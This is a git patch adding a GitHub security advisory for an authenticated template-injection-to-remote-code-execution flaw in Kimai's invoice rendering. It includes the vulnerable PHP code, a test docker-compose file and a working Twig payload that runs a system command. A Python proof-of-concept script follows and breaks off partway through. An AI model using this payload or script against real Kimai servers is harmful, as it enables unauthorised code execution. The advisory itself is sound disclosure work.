From 4be979cfca8769106336517a40e7aa579fbcde29 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 30 Oct 2023 15:41:21 +0000 Subject: [PATCH] Publish GHSA-fjhg-96cp-6fcw --- .../GHSA-fjhg-96cp-6fcw.json | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 advisories/github-reviewed/2023/10/GHSA-fjhg-96cp-6fcw/GHSA-fjhg-96cp-6fcw.json diff --git a/advisories/github-reviewed/2023/10/GHSA-fjhg-96cp-6fcw/GHSA-fjhg-96cp-6fcw.json b/advisories/github-reviewed/2023/10/GHSA-fjhg-96cp-6fcw/GHSA-fjhg-96cp-6fcw.json new file mode 100644 index 00000000000..bd2eb0fda98 --- /dev/null +++ b/advisories/github-reviewed/2023/10/GHSA-fjhg-96cp-6fcw/GHSA-fjhg-96cp-6fcw.json @@ -0,0 +1,57 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-fjhg-96cp-6fcw", + "modified": "2023-10-30T15:40:04Z", + "published": "2023-10-30T15:40:04Z", + "aliases": [ + "CVE-2023-46245" + ], + "summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File", + "details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n ...\n $content = $this->twig->render($this->getTemplate(), array_merge([\n 'entries' => $timesheets,\n 'query' => $query,\n ...\n ], $this->getOptions($query)));\n ...\n $content = $this->converter->convertToPdf($content, $pdfOptions);\n ...\n return $this->createPdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: '3.5'\nservices:\n\n sqldb:\n image: mysql:5.7\n environment:\n - MYSQL_ROOT_HOST='%'\n - MYSQL_DATABASE=kimai\n - MYSQL_USER=kimaiuser\n - MYSQL_PASSWORD=kimaipassword\n - MYSQL_ROOT_PASSWORD=changemeplease\n\n ports:\n - 3336:3306\n volumes:\n - mysql:/var/lib/mysql\n command: --default-storage-engine innodb\n restart: unless-stopped\n healthcheck:\n test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n nginx:\n image: tobybatch/nginx-fpm-reverse-proxy\n ports:\n - 8001:80\n volumes:\n - public:/opt/kimai/public:ro\n restart: unless-stopped\n depends_on:\n - kimai\n healthcheck:\n test: wget --spider http://nginx/health || exit 1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n kimai: # This is the latest FPM image of kimai\n image: kimai/kimai2:fpm-prod\n environment:\n - ADMINMAIL=admin@kimai.local\n - ADMINPASS=changemeplease\n - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n - memory_limit=1024\n volumes:\n - public:/opt/kimai/public\n # - var:/opt/kimai/var\n # - ./ldap.conf:/etc/openldap/ldap.conf:z\n # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n restart: unless-stopped\n\n phpmyadmin:\n image: phpmyadmin\n restart: always\n ports:\n - 8081:80\n environment:\n - PMA_ARBITRARY=1\n\n\n\n postfix:\n image: catatnight/postfix:latest\n environment:\n maildomain: neontribe.co.uk\n smtp_user: kimai:kimai\n restart: unless-stopped\n\nvolumes:\n var:\n public:\n mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI've also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n try:\n project_id = \"\"\n csrf_token = \"\"\n preview_id = \"\"\n template_ids = []\n activity_customer_list = []\n \n csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n \n # Extract CSRF Token\n pattern = re.compile(r']*?name=[\"\\'].*?token[^\"\\']*[\"\\'][^>]*?value=[\"\\'](.*?)[\"\\'][^>]*?>', re.IGNORECASE)\n match = pattern.search(csrf_login_response)\n if match:\n csrf_token = match.group(1)\n \n if \"performSearch\" in path:\n preview_pattern = re.compile(r']*id=\"preview-token\"[^>]*data-value=\"(.*?)\"[^>]*>', re.IGNORECASE)\n preview_match = preview_pattern.search(csrf_login_response)\n if preview_match:\n preview_id = preview_match.group(1)\n\n \n template_pattern = re.compile(r'